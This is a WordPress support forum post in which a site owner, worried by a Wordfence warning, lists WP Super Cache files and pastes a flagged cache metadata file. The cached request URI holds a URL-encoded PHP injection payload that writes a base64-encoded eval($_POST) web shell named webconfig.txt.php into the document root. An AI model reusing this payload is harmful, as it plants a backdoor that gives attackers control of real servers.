There's some php file inside the cache folder.

Hi to all,

Just wondering if wp super cache is creating a php file inside wp-content/cache folder and wp-content/cache/meta folder. When I view the folder I found the following files:

web4@techsoftco:~/web/wp-content/cache$ ls -l
total 204
drwxr-xr-x 2 web4 client1 4096 Mar 24 21:46 blogs
-rw-r–r– 1 web4 client1 0 Mar 24 21:46 index.html
drwxr-xr-x 2 web4 client1 32768 May 18 17:49 meta
drwxr-xr-x 3 web4 client1 4096 May 17 08:00 supercache
-rw-r–r– 1 web4 client1 11216 May 18 12:41 wp-cache-0116b2d45bf7e930868582a82b0e45b8.php
-rw-r–r– 1 web4 client1 563 May 18 12:54 wp-cache-0bab6f84f0b659700bde02efb1e84d27.php
-rw-r–r– 1 web4 client1 10030 May 18 09:21 wp-cache-1b91096131554b5912d353300b1946a2.php
-rw-r–r– 1 web4 client1 11454 May 18 17:35 wp-cache-29e833022cf63e7537f9c6a3990856e0.php
-rw-r–r– 1 web4 client1 11432 May 18 14:27 wp-cache-34b074d6017b4da31279bcb71dc17782.php
-rw-r–r– 1 web4 client1 11416 May 18 09:23 wp-cache-43e540287096488094ab09afda6a29c5.php
-rw-r–r– 1 web4 client1 11415 May 18 08:17 wp-cache-4bf0df4b7bd8f620788031edd40e9551.php
-rw-r–r– 1 web4 client1 11401 May 18 13:12 wp-cache-57671b31ded0296935c3c86d9506741a.php
-rw-r–r– 1 web4 client1 6322 May 18 08:08 wp-cache-7248d01a74c8c32d71f6beb7574ba074.php
-rw-r–r– 1 web4 client1 11486 May 18 16:15 wp-cache-873e613033e4114e28af306d7c486e88.php
-rw-r–r– 1 web4 client1 6318 May 18 08:24 wp-cache-a255724b4bce9a63fcdd438a405d38f3.php
-rw-r–r– 1 web4 client1 11431 May 18 16:33 wp-cache-a6541337945c29c9c29339c77f35cf2a.php
-rw-r–r– 1 web4 client1 9838 May 18 17:49 wp-cache-ee3b22d65f6e47f840bc8d49779a9f67.php
-rw-r–r– 1 web4 client1 524 May 18 12:55 wp-cache-f747169fd2135ff0e5aa6691422e64a1.php
-rw-r–r– 1 web4 client1 11273 May 18 11:41 wp-cache-fb1e1190cde5115e99a5c5d312f55f6c.php
-rw-r–r– 1 web4 client1 536 May 18 09:16 wp-cache-fdc51ab19b1882875ab3dbb9abf93059.php

Is this normal?

I have WordFence installed and it says File appears to be malicious: wp-content/cache/meta/wp-cache-1b91096131554b5912d353300b1946a2.php. Here’s the content when I opened the file:

Filename: /var/www/clients/client1/web4/web/wp-content/cache/meta/wp-cache-1b91096131554b5912d353300b1946a2.php
File Size: 1,107 bytes
File last modified: Wednesday 18th of May 2016 01:21:44 AM
<?php die(); ?>{“headers”:{“Content-Encoding”:”Content-Encoding: gzip”,”Vary”:”Vary: Accept-Encoding, Cookie”,”Expires”:”Expires: Thu, 19 Nov 1981 08:52:00 GMT”,”Content-Type”:”Content-Type: text\/html; charset=UTF-8″,”Cache-Control”:”Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0″,”Pragma”:”Pragma: no-cache”,”Last-Modified”:”Last-Modified: Wed, 18 May 2016 01:21:44 GMT”},”uri”:”uniquefacts.net\/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27\/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B”,”blog_id”:1,”post”:0,”key”:”uniquefacts.net80\/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27\/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3Bgzip”}

Can anybody tell me if my site is still safe or not.

Thanks

https://www.ads-software.com/plugins/wp-super-cache/